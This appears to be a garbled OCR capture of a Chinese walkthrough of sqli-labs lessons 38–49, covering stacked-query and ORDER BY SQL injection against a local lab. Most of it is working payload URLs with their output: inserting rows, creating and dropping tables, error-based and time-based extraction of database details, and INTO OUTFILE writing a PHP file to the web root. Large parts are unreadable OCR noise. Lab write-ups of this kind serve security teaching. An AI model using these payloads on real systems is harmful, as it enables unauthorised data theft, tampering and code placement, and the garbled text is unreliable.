F Mt (Pve it .

1
2
3
4
L]
6
7
g

(@ THS - $IN-20HGCIINHEYSOLEXFRESS (8.0 SE3)

WIH-Z0HOGCISHHE \ capsheaf (53)

test

00:00:00

“

18 1T
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Oracle #UEE
LN AFRNTELIR N, oracle NEEMFHIMESIEN, FTUUMNEFES], MG EKIEHTE
[Fl—ATH), B3RS, TFER. BIHPEAG T2 T .

e_name from user_ iew_name from t
e from user_table - me from user_\

Postgresql B EE
(1) #E—1FE  select * from user_test;create table user_data(id DATE);

ct * from user_test;create table user_data(id DATE);

te > 5

AT LA F| user_data % L& ET.
(2) Ml ETRHT ) user_data 3% select * from user_test;delete from user_data;

=> select * from user_test;delete from user_data;

[
| =

o i T e T e B i

test=>

(3) X HHLHH select * from user_test;select 1,2,3;

test=> select * from user_test;select 1,2,3;

1ame | signup_date
______ e e mmmmmmmm

K= | 2013-12-22

Z0 | 2014-12-22

+H | 2015-12-22
(3 rows

column? | CoLumn | CoLum
__________ Y T LS
I 2}

L1 ro

-
M
LA

—
1]
W
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(4) 15 s select * from user_test;update user_test set name='modify' where name='5Kk =

.
’

test=> select * from user_test;update user_test set name="modify' where name="75ff|
EI' = T W

B name
) -2 modify

224 B A modify

o —= cpgl ct -
5 151222 / e

Less-38

2] 7 KT stacked injection FUAHICANIIR, FRATFEAICH] LIS B B3 1IE H

TEFAT select ) sql i&%)Ky: SELECT * FROM users WHERE id='$id' LIMIT 0,1

A LB M IE I T 1Y payload:
http://127.0.0.1/sqli-labs/Less-38/index.php?id=1%27;insert%20into%20users(id,username,pass
word)%20values%20(%2738%27,%27less38%27,%27hell0%27)--+

@ [ search e © 8 a4 © @~ ui> @
IEEE EEE—T, et Elemy- WER @ @HT v @y @HEAEE Eblogsv ERMAEY Sweb®e v EEBE Y ERBFH v @senverk2 v &

lisable ¥ & Cookies ¥ » €55 [JForms¥ [EImages ¥ @ Information¥ [ Miscellaneous ¥ # Outline ¥ 4 Resize ¥ X Tools ¥ @ View Source ¥ [f]Options ¥

.php?id=1';insert into users(id,userna 20 «

WCREFT W Services ¥

Welcome
Your s : Dumb
XYa i

HAEIYERTRINE: WG less38 L.
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http://127.0.0.1/sqli-labs/Less-38/index.php?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+
http://127.0.0.1/sqli-labs/Less-38/index.php?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+

Mysgl ¥E A -—-sglilabs--Icamry

/ R insertfng)

o e e e e e e e . e . S A S e A S e

Less-39

Fl less-38 I X AI7E T sql iEAJFIA—FF: SELECT * FROM users WHERE id=$id LIMIT 0,1

WA F TN, AT LG BN ) payload:
http://127.0.0.1/sqli-labs/Less-39/index.php?id=1;insert%20into%20users(id,username,password)
%20va|ues%20(%2739%27 %271less39%27,%27hello%27)--+

php?id=1;insert into users(id userna JE63 @ |2 search v 9 ¢« &4 © ©~ ul> g

lﬁﬁﬂﬁ [REE—T, mat il Ellcamry- ERE Wit v Wi T v wfqv [WAlKsE v [Lblogs v [WiAE v Wweb®2 v [WBEHZE v WABEFH v [WserverR2 v |
)Disable ¥ & Cookies ¥ , €Ss¥ [JForms¥ [@images ¥ @ Information¥ [ Miscellaneous ¥ # Outline ¥ 4 Resize ¥ XTools ¥ [@View Source ¥ |[1]Options ¥

JETCRAFT W Services ¥

i K 2R T A RSN less-39 T
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http://127.0.0.1/sqli-labs/Less-39/index.php?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+
http://127.0.0.1/sqli-labs/Less-39/index.php?id=1;insert%20into%20users(id,username,password)%20values%20(%2739%27,%27less39%27,%27hello%27)--+

Mysgl ¥E A -—-sglilabs--Icamry

ZRiEinsertFNg)

Less-40

A KM sql 1BH) N SELECT * FROM users WHERE id=('Sid') LIMIT 0,1

FATRIE sql HH)491E LR 1) payload:
http://127.0.0.1/sqli-labs/Less-40/index.php?id=1%27);%20insert%20into%20users(id,username,
password)%20values%20(%27109%27,%27hello%27,%27hell0%27)%23

Less-40/index.php?id=102"); insert into users(id,usqagEay i | | @ |Q search |8 @ & & © @~ b B0 E
FERE R EE—T, a0l Elcamry- FE wilitf v Wit T v Wfqv WAEsE(c v wblogs ¥ WilEE v wwebBL v LBHF v WRABEFHL v wserver®2 v [wctf

sable v X Cookies¥ , C55¥ [JForms¥ [@/images ¥ @ Information¥ [5 Miscellaneous v . Outline v " Resize v £ Tools ¥ [m/ViewSource ¥ |1|Options ¥

ERAFT" w Services ¥

Welcome
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http://127.0.0.1/sqli-labs/Less-40/index.php?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27109%27,%27hello%27,%27hello%27)%23
http://127.0.0.1/sqli-labs/Less-40/index.php?id=1%27);%20insert%20into%20users(id,username,password)%20values%20(%27109%27,%27hello%27,%27hello%27)%23

Mysgl ¥E A -—-sglilabs--Icamry

al1¢ iR inserEInBIAE

Less-41

EAb Y less-39 & —3H, XBIFET 41 HRAMNE ., FTUERNFRZ NEIE.

Payload:
http://192.168.11.189/sqli-labs/Less-41/index.php?id=1;%20insert%20into%20users(id,usernam
e,password)%20values%20(%27110%27,%27less41%27,%27hell0%27)%23

€ bs/Les5 41/ ; sorslid usermame possrord R A MR N R CA-EE A a-® @ @ =

BE—TF A8 (€] lcamry - 18R | 56 | HT || fq || A188EEE || blogs || B&%F [ web®2 | | &8% || RESH | server®2 [ off || 185 | LinncBEZ2 | | #837 | ) FHEWE KBRS

1=
) Disable & Cookies~ # ¢S5+ [ Forms- [@ Imagess @ Information~ [ Miscellaneous+ / Outlines & Resize= 34 Tools- Bl View Source~ [Al] Options~ YOV
NT | = & 5QL- X85 Encyption- Encodings Others
§ Load URL
| Split URL
Execute
Enable Post data [ Enable Referrer

PETCREFT - Scrvices- | [No information available]

Welcome
Your Username is : Dumb
Your Password is : 1
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http://192.168.11.189/sqli-labs/Less-41/index.php?id=1;%20insert%20into%20users(id,username,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23
http://192.168.11.189/sqli-labs/Less-41/index.php?id=1;%20insert%20into%20users(id,username,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23

Mysgl ¥E A -—-sglilabs--Icamry

| O %5 3:5m @ W% 12 dhakkan 1
Fl »#%8 358 @WB 14 admind |1
[ %8 =55 @ M 15 test test
O %% 3548 @Mk 24| admin'® 123456
O %88 =5 @Mk 38 less38 hello
Fl & %% ¥ 5% © M 39 |less39 hello
O &8 = =H @ Mk 41 |less4l hello
0 & &8 %55 @ H% 100 | hello helio
O &% =4 @ fik: 101 heliol hello
O %58 % =4 @ Bk 102 hello2 hello R
O &7 &6 55 © Mk 109 hello hello
0 & &5 3 58 © Bz 110  lessdl /Hﬁ/
N R . T SR
T O2r &0 pex @ Br @ SH

Less-42

Update 505504 5, 433 mysql_real_escape_string()Ab 3 5 s, 77N\ BI04 5 A
SRAERN . 1E select YA FH FIRHE A Be K IFAEH . BT DA REE B & 10 b 3E TN, X
KA ZRGENI BB A —FE

A login.php JEARHD HH 434 AT %0

Jfunction sgllogin (Shost, S$dbuser,$dbpass, $dbname) {
// connectivity
//mysql connections for stacked query examples.
$conl = mysqli_connect (Shost, $dbuser, Sdbpass, $dbname);

Susername = mysqli real escape string(Zconl, 5_?05T[";ogin_use:"]);
ggassword = $ POST["login password"];
o et
// Check connection
if (mysqli_connect_errno(Sconl))
1 {
echo "Failed to connect to MySQL: " . mysqli connect error():
}
else
1 i
@mysqli_select db(5conl, $dbname) or die ( "Unable to connect to the database ######: ");

}
i

Password ZF F7E post id FEH, A IEIL mysql_real_escape_string()pR BT FRIAL T . Rl 7E B 5%
A B i 5 AL I TR AT T AT LAIEAT attack.

B AR
TR S FH LA 7 2 ¢';drop table met# (MR me )

c';create table me like users# (B —1> me IR
TR K B R FRA T A S I B P 2 AR R
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mysql> show tables;

--------------------- =
| Tables_in_security |
________ T e e
| emails |
| me |
| referers |
| uagents |
| users |
--------------------- =
5 rows in set (0.00 sec

AL 5 username:admin
Password:c';create table less42 like users#
Ji sql iEA)A
Ssql = "SELECT * FROM users WHERE username='Susername' and password='Spassword"";
&I FIIE R sql WERIR
SELECT * FROM users WHERE username='admin' and password='c’;create table less42 like users#

FIH stacked injection, FATEINHAT B A 3R lessd2 IEHA]

Please Login to Continue

Username: gLl

M TEIATLAE H show tables J& CV4 i IN A ZE lessd2 .

mysgL= SNOW TabLes
--------------------- +
| Tat €5_1N_Security |
:
e e S R e e +
| emails |
| Less4z |
| me |
| referers |
| uvagents |
| users |
P +
P - - - - e i -
6 rows 1n set (0.81 sec

FIH c';drop table me#fE N5 3%, MIFRiZE.
[ PR R F b 77 20T DUSE B AR N B 0, 3% B AN B TR T o
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Less-43

AL 42 FRMRFIEEA L, FATE L E AL login.php H i) password. H—F sql &) 4:
Ssql = "SELECT * FROM users WHERE username=('Susername') and password=('Spassword')";
#3%: username: admin

Password: c');create table less43 like users#

Username: ELIyIh]

Password: [[TTr

My=q SNOW TabDLes;
----------------------- -+
| Tables in security |
_____________________ i
:

| emails |
| less4z |
| less4 !
| me i
| referers |
| uagents |
| users !
e -+
7 rows in set (0.00 sec

Tl_.,' S G -_ - .
FAb R X B ANHEAT IR 1o

Less-44

ARKRETEEN, TEREEFELERAREEE, UERMAET. XXR5 42 KX
ARAE TR A IS S, [FE, FRAMEH FEAE 77 X payload:
3 username:admin

Password:a';insert into users(id,username,password) values ('144','less44','hello')#
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Username: ELipih

Passwornd: [ttt e e re e e

ATLAERAIN T lessdd X — T .

| =
L T 3
3}
= - =1
i | |
) ——— 5
E i
3
= | 4

Less-45

[FAER, 45 ¢ 43 ¢ payload /& —HE, AT 45 JUKIH A #RESE E..
5%  username: admin
Password: c');create table less45 like users#
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Username: syl

Password: [T m—

Background-9 order by /5B injection

AL A4 order by JGIVENLL A limit JEN, FATLE A less-46 SR T dHi#, (1F lessdb HiE
ANk BT DAL AL T AR less-46 T fERI T

Less-46

AT UG, BAIFFUEF 2] order by AHIENHIAIR .

KK sql EHJ NSsql = "SELECT * FROM users ORDER BY $id";

Zik?sort=1 desc Bi# asc, WoRGRARE, WERMATLLEN. (FHF or BEFHESD
MR sql EA)HF AT LA, FATIE N AL order by JGIHIFIZ 44, 1M order by
ANFETFHIRAITE where JEIVEN &, AR union EEHTVEN . WA FEAT order by HIVE
AN, FAVERT E— T mysql B 7 select [ 3CHY.
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SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRATGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SOL_CACHE | SOL_NO_CACHE] [SOL_CALC_FOUND_ROWS]
select expr [, select_expr ...]
[FROM table_ references
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC1, ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESCI, ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name' export_options
| INTO DUMPFILE 'file name’
| INTQ war_name [, var_name]]

[FOR UPDATE | LOCK IN SHARE MODE]]

BTATAIHRIH order by Ja—2SHGHAITIEN.
Hok
(1) . order by M TR IMERN—NENL . HELRMIE order by FI—/AMEH], ik
ZIERPATE R A — A, 1K
http://127.0.0.1/sqli-labs/Less-46/?sort=right(version(),1)
B RS, H2 right #% left ZB—4F, BRI A ERIEH, JATHRA/REE, dhnf 3k
AITAT AR AR B AR IE RN
HAEFTDLEEME  ?sort= R — NS RS, JATAICAA =ME R,
Q) EBRIENIES], ?sort=(select *****¥)
QFIH— ek %. 140 rand()B¥& . ?sort=rand(sql 15 %1))
Ps: MALFRATATLLE R —F rand(ture)l rand(false) i) 45 B & AR —FE

15 127.0.0.1/sqllib/Less /?sort=r d(true)
[&] ==—TF . fmamE lcamry - @&E CO®@s COHT OO fg OO smsasié O blogs O @BEE O webs=ge =% C

Welcome Dhakkan
USERNAME ] L PASSWORD

e
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13 127.0.0.1/sqllib/Less-46/?sort=rand(false
1EE—T . il [€] leamry- 1R O 188 (10T (Jfq (0 #msests CJblogs [0 RAE [ webse (&

Welcome
_ ID | USERNAME | PASSWORD |

G and, #ln?sort=1 and (I sql &%),

[FI S sql 35 A AT AR AR R ARER FEN )T 20, 8 A 3RATAT DUR R IE [ #4iE .
REEENBT
http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information schema.co
lumns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

[2sort= nscv @ ¢ | @ |Q search |rBe 9
bz [EEE— T, M Ellamry- HEE @G v @I v Gfqv @ity Eblogsv WRBEY Wweb® 2 v [WBE

lew & Cookies¥ » C5s¥ [JForms¥ [Eimages ¥ @ Information¥ [ Miscellaneous ¥ # Outline ¥  Resize ¥ £ Tools ¥ [@Vic

127.0.0.1/sqli-labs/Le

|v: = & SQL'Y XSS'¥ Encryption¥ Encoding'¥ Other v

URL | (select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
URL | rand(ascii(left(database(),1))=115) limit 0,1

1 limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version()}), 1)
ute | 1%20into%20outfile% 20" c\\wamp\\wwwh\sgllib\\test. bxt"

[JEnable Post data [ ]Enable Referrer

T W Services ¥

Welcome
Duplicate entry '::root@localhost::1' for key 'group key'it is a test

&, WILLE F] root@localhost 1 H 7 44

B R RIATH rand(ViEATER— T, BN LH$EE] rand(true)f rand(false) 2 R @A —FE1
http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=115)
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http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))
http://127.0.0.1/sqli-labs/Less-46/?sort=(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))

Mysql 8 A\ ---sqlilabs---Icamry

[y 127.0.0.1/sqllib/Less-46/?sort=rand(ascii(left(database(),1))=11¢
& EE—F , {miiE lcamry-fEEE (@4 O#T (Ofq (Osmsastk (Jblogs [0 B8 (1 webzs

e
t}
hrs)
i

_ Welcome

http://127.0.0.1/sqli-labs/Less-46/?sort=rand(ascii(left(database(),1))=116)

| PASSWORD |
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M EIRPEAS B 45 5, GFEE rand(ture) FT rand(false) 455, AT LAE AR AR TE N & I .

FERF NG F
http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),
BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20curr
ent)%20as%20tb1)

http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep
(5))

RPN R RN B AT AR BH B A TR AN TR, X AN T, B R Tk R IE
e o o

[A 0] DU ?sort=1 and JEIENIER) o XA ——8R T

(2) procedure analyse Z¥ /51

FIH procedure analyse Z%, AT LAPATHRESTEAN . [FKS, 7E procedure analyse 1 orde
r by Z A ] LAFEAE limit 228, FAELIRRI A, AR G2 AAAE limit [FIEN, 1l LA
FIF procedure analyse 3477 o

LA A7 a4
http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),con
cat(0x3a,version())),1)

127.0.0.1/sqli-labs/Less-46/2sort=1 procedure analysefextractvalu ¥ £ [El) | @ ‘ ’.7--7:‘;]::.-7 %8 @ +F & © @~

BiF @EE—TF, Fo0d Ellcamry- FE WEF v WHT v wfqv [WAntdeE(k v (wblogs v WilFAE v WwebZ2 v WEBBE Y WARFEHY |
lew & Cookies¥ » CSS¥ [JForms¥ [Eimages ¥ @ Information¥ [ Miscellaneous ¥ # Outline¥ “Resize ¥ X Tools ¥ @ ViewSource ¥ |1/Optior

BT W Services ¥

Welcome

XPATH syntax error: :5.5.49-0ubuntu0.14.04.1'it is a test

(3) FAFHIM into outfile 24§
http://127.0.0.1/sqllib/Less-46/?sort=1%20into%200utfile%20%22c:\\wamp\\www\\sqllib\\test
1.txt%22

Joutfile?%20" c\vwamp\W\wwwilsallib\\test1 txt"

[41 127.0.0.1/sgllib/Less-46/?sort=1%20into%20outfile%20"c:\ wA\\sqgllib\\test1.txt
1 B=—F , fmriE lcamry - B82E OEH OHT COf OO emsast Jblogs O REE O webme O =@y O KBSy

~ Welcome B
| ID | USERNAME | PASSWORD |

KR AR
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http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)
http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)
http://127.0.0.1/sqli-labs/Less-46/?sort=%20(SELECT%20IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,md5(%271%27)),null)%20FROM%20(select%20database()%20as%20current)%20as%20tb1)
http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
http://127.0.0.1/sqllib/Less-46/?sort=1%20and%20If(ascii(substr(database(),1,1))=116,0,sleep(5))
http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)
http://127.0.0.1/sqli-labs/Less-46/?sort=1%20%20procedure%20analyse(extractvalue(rand(),concat(0x3a,version())),1)

Mysgl ¥E A -—-sglilabs--Icamry

C | [1 127.0.0.1/sqllib/test.txt
=z (& E5E—TF. e [E lamy - OEE O

&

===

1 [hmb 1

2 Arngelina 1
3 Dnmmer 1

4 gecure 1

b ztupid 1

i} ZUDErman 1
T batman 1

8 adnin  lcamryw

e adminl 1

10 adnin? 1

11 admind 1

12 dhaklan 1

14 admind 1

15 test test

24 admin’# 123456
100 hewr e

AR IR FRAT AT LA L8 L AE N Ey, FIH lines terminated by.
Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by Ox(I 1T 16 k|
)

Less-47

AT sql 1BF)N $Ssql = "SELECT * FROM users ORDER BY '$id"";
W id ZATFREAL, AR IRAT R B AR, A MK IHFLI8E N B 47 702K
(1) . order by J5 15
BATA R and SREATIRESFIIERT N . FRAT N4 H LA payload 7~

@ and rand 4551177 2, payload: http://127.0.0.1/sqli-labs/Less-47/index.php?sort=1%
27and%20rand(ascii(left(database(),1))=115)--+
127.0.0.1/sqli-labs/Less-47/index.php?sort=1'and rand(ascii(left(datat @Kl € | @ |Q Search B 9 & @
5% EEE—T, Mo Elomny- BEE WY @HT v Mgy @Mk v [@blogsv WIHAE v Mweb®2 v WEBE v Wit

lew KL Cookies¥ » CSS¥ [JForms¥ [&images ¥ @ Information¥ [f Miscellaneous ¥ . Outline¥ . Resize ¥ & Tools ¥ B View Source ¥

T w Servicesv

Welcome
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Mysgl ¥E A -—-sglilabs--Icamry

#ehk 116 J5, http://127.0.0.1/sqli-labs/Less-47 /index.php?sort=1%27and%20rand(ascii(left(dat
abase(),1))=116)--+

127.0.0.1/sqli-labs/Less-47/index.php?sort=1'and rand(ascii(left(datat & (£ @ |2 search | %8 @ J
Bz @EE—F, Fatai Elamry-H%E LiEFY EHT v Gfqv LHHa(L v [Hblogs ¥ WiMEE Y [HwebZe v [LEEY

blew & Cookies¥ , CSs¥ [JForms¥ [Eimages ¥ @ Information ¥ [& Miscellaneous v /" Outline v  Resizew XTools ¥ @ View

AFT ¥ Services ¥

Welcome
ID USERNAME PASSWORD

C n

BEAL R N2 W, SR AFAE ) R, FRATTANRE A A XA 7 sCREAT HERR N . BEAL R TR R
el

@ AT LA FH AR 4 1 7 3T
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20count(*)%20from%20informati
on_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(ran

d()*2)))--+

ct count(*) from information_schema.colum: ~ x| & BRI . search e 9 & &
iz @ EE—T, rataH Elamry- B2HE WiEft v G#T v Gfqv WHii#eEt v wblogs v [WEE v WwebZ2 v LFREY L

blew X Cookies¥ , CSs¥ [JForms¥ [&images ¥ @ Informationw [£ Miscellaneous ¥ # Outline ¥ . Resize v X Tools ¥ B View Sourc

&FT ¥ Services ¥

Welcome

Duplicate entry '=root@localhost::1' for key 'group_key'

A LAE B user() IS, [R) IS AT ARG I8 AL 015 A EAT VRN o

X B —AMREEEN, TR payload & —FERT, #RZF I mysql B T 5,
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20*%20from%20(select%20NAME
CONST(version(),1),NAME CONST(version(),1))x)--+

HALE S T version(), It AR T WA 5
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http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))--+
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))--+
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20count(*)%20from%20information_schema.columns%20group%20by%20concat(0x3a,0x3a,(select%20user()),0x3a,0x3a,floor(rand()*2)))--+
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20*%20from%20(select%20NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20(select%20*%20from%20(select%20NAME_CONST(version(),1),NAME_CONST(version(),1))x)--+

Mysgl ¥E A -—-sglilabs--Icamry

127.0.0.1/sqli-labs/Less-47/?sort=1"and (select * from (select NAME_C :iﬂ. @ Search wa @
g @ aE— T, Fetil Eleamry-BEE LiEF Y WHI v Wfgv WilkeE v [Wblogs v WilEE v Wweb%2 v (W%
disable v & Cookies ¥ » €S5¥ [Forms¥ [EImages ¥ @ Information¥ [£] Miscellaneous ¥ # Outline ¥  Resize v X Tools v @

ETCRAFT W Services ¥

Welcome
Duplicate column name '5.5.49-Oubuntu0.14.04.1

QEREN

http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep
5))-—+

X L[ database() N security, FTLPASE—ANFRERT s 1 ascii M 115, MAAETFEEIR, M

116 B HAR R e i s, SREsery 1, RATX AN B R R 1, AT DU I A .
(2) procedure analyse Z¥ /511

FIH procedure analyse %, FATA] APATIRESFEN . [FIEF, 7E procedure analyse il orde

r by Z A AT LAFEAE limit 2285, FRAESSRRRI A, A AT BE 2 AEAE limit J5IVEAN, AT LA

FIF procedure analyse 3477 o

LA 7R iE

http://127.0.0.1/sqli-labs/Less-47/?sort=1%27procedure%20analyse(extractvalue(rand(),concat

(0x3a,version())),1)--+

127.0.0.1/sqli-labs/Less-47/?sort=1'procedure analyse(extractvalue(ra £l ¢ | @ |Q search % B O @

i EEE—T, frani Elemy- 20 WEkY WHTY Mgy Wikl bblogs v WRAEY MwebZ2 v [LHMEEY

: ¥ L Cookies¥ » CSS¥ [JForms¥ [@images ¥ @ Information¥ [ Miscellaneous ¥ # Outline ¥ 4’ Resize ¥ % Tools ¥ [ View Soi

I w Services¥

Welcome
XPATH syntax error: ':5.5.49-0ubuntu0.14.04.1'

(4) SANFH M into outfile %L
http://127.0.0.1/sqallib/Less-47/?sort=1%27into%200utfile%20%22c:\\wamp\\www\\sqallib\\test.

txt%22--+
9 127.0.0.1/sqllib/Less-47 /?sort=1%27into%20outfile%20"c:\\wampy\www\\sqllib\\test.txt"--+ i ®
S EE—T. s (6] amry-BEE OS¢ O#T Of O sisazt Oblgs CI®EE O webze [ 8% O KBSt Osernver®e O of 085 O LinkREss

_ Welcome

_ ID | USERNAME | PASSWORD

R BRI R AR
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http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))--+
http://127.0.0.1/sqli-labs/Less-47/?sort=1%27and%20If(ascii(substr(database(),1,1))=115,0,sleep(5))--+
http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:/wamp/www/sqllib/test.txt%22--+
http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:/wamp/www/sqllib/test.txt%22--+

Mysgl ¥E A -—-sglilabs--Icamry

&= C' [ 127.0.0.1/sqllib/test.txt
ez Rae—T. eolE B leamy -2 Ot O

1 Inmhb 1

2 Arngelina 1
3 Dnmmer 1

4 Zecure 1

b ztupid 1

i} ZUDErman 1
T batman 1

8 adnin  lcamryw

2] adminl 1

10 admin? 1

11 adminid 1

12 dhallean 1

14 admind 1

15 test test

24 admin’# 123456
100 e e

BXABHAEFRATT LS E A& S, FIH lines terminated by.

Into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by Ox(/ 4T 16 4%
)
http://127.0.0.1/sqllib/Less-47/?sort=1%27into%200utfile%20%22c:\\wamp\\www\\sallib\\test.
php%22lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3€2020--+
BEALY 16 HEfISC I J9<?php phpinfo();?>

FA1V5 1) test.php

« C | [ 127.0.0.1/sqllib/test.php By W
BESE BE—T . il B lemy-g2m Ot O#I Ofg Oemsast Oblgs CREE (Owebme (O =8y [ KBSt [ server 2 Oaf OEF O Lne@EESS
REQUEST_SCHEME http

CONTEXT_PREFIX

aie value

COFTEXT_DOCWIERT_RDOT

C: fwamp/wwns

SERVER_ADMIN adninexanple. con
SCRIFT_FILERANE C: fwanp/www/ sql1ib/test. php
REMOTE_FORT 18713

GATENAY INTERFACE CGIf1.1

SERVER_PROTOCOL HITE/L. 1

REQUEST_WETHID GET

QUERY_STRING o value

REQUEST_URT /sqllib/test php
SCRIPT_NANE fsqllibftest php

HTTP Headers Information

HITP Reguest Headers
GET fsqllib/test. phe HITE/L. L

HITP Reguest

Host 127.0.0.1

Conneeti on keep-alive

UperadeInsecure~ |1

Requests

User—Agent Mozilla/S.0 (Windews NT 6.1) AppleMebKit/537.36 (KHIML, like Gecke)

Chrene/51.0. 2704, 79 Safari/537. 38

Accept text/htnl, application/xhinltznl, appli cation/xnl; q=01. 9, inage/webp, #/% q=0. 8

Accept—Encoding | grip, deflate, sdeh

Accept-Language
Cookie _ga=GAl. 1. 26665460, 1455866081
HITP Response Headers

h-CH, zh; =0.5, en; g=0.6

VB T Tz = 1s

Less-48

KKY less-46 X ATEFAEFTENANGEM H, ASATHR T,
A U
AT LAFIFH sort=rand(true/false)H#E 4T #IH7 .

PR L At P 7 iR 3RAT TR TH

96


http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:/wamp/www/sqllib/test.php%22lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+
http://127.0.0.1/sqllib/Less-47/?sort=1%27into%20outfile%20%22c:/wamp/www/sqllib/test.php%22lines%20terminated%20by%200x3c3f70687020706870696e666f28293b3f3e2020--+

Mysql 8 A\ ---sqlilabs---Icamry

http://127.0.0. 1/sqI| Iabs/Less 48/?sort rand(ascu(left(database() 1))=178)
127.0.0.1/sqli-labs/Less-48/?s ef1=178) HRE ¢ | @ | search %8 @ & @
BiF @ HE—T, {Ret o Icamryfﬁﬁlﬁ Wity WHTIT v Wfgv WEEREL v [Wblogs Yy WEE Y WwebZ£ v LBEBEY

lew X Cookies¥ , €55 [JIForms¥ [&lmages¥ @ Information¥ [ Miscellaneous ¥ 7 Outline ¥ " Resize ¥ ¥ Tools¥ @ View Source

T W Services ¥

Welcome
ID USERNAME PASSWORD
113 )

b

109

142
1 ur
-'117 less

L;ttﬁtgv

http://127.0.0.1/sqIi-Iabs/Less-48/?sort=rand(ascii(left(database(),1))=115)

[27.0.0.1/5qli-abs/Less48/sort=rand(asciillertldatabase). )=115) | ® |2 search Jtrm 9 ¢ & ©
BiE [@EE—T, ot Elamy-#EE @iEt4 Y @I v hiqv @ingas{t v [@blogs v [WiliAE v Wweb®2 v W#LS v [@gE
blew & Cookies¥ ,» €S5¥ [JForms¥ [llmages™ @ Information¥ [ Miscellaneous ¥ ./ Outline ¥ . Resize ¥ £ Tools ¥ B ViewSource ¥ [J

AFT W Services'¥

Welcome

And J5 RJIE R VEN
http://127.0.0.1/sqli-labs/Less-48/?sort=1%20and%20(If(ascii(substr(database(),1,1))=115,0,slee
p(5))

AR E T

ARRFATHIE T LLA into outfile #E47 o

http://127.0.0.1/sqllib/Less-48/?sort=1 into outfile “H{{%”

X B ASEEAT I IR T
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http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=178)
http://127.0.0.1/sqli-labs/Less-48/?sort=rand(ascii(left(database(),1))=115)
http://127.0.0.1/sqllib/Less-48/?sort=1

Mysgl ¥E A -—-sglilabs--Icamry

Less-49

ARG 47 KEARFKAL, XAHETBAHREIE, FrUIRATAT DU I GE I 7 AR5 NSOt
ITHEN

FIFHAE RN
http://127.0.0.1/sqli-labs/Less-49/?sort=1%27%20and%20(If(ascii(substr((select%20username%2
0from%20users%20where%20id=1),1,1))=69,0,sleep(5)))--+

FERT R AN 7R 1, ] LIYIE substr (85— NS HOEAT EEHEN .

& FIH into outfile HEATVEN
http://127.0.0.1/sqllib/Less-49/?sort=1%27into%200utfile%20%22c:\\wamp\\www\\sallib\\test.

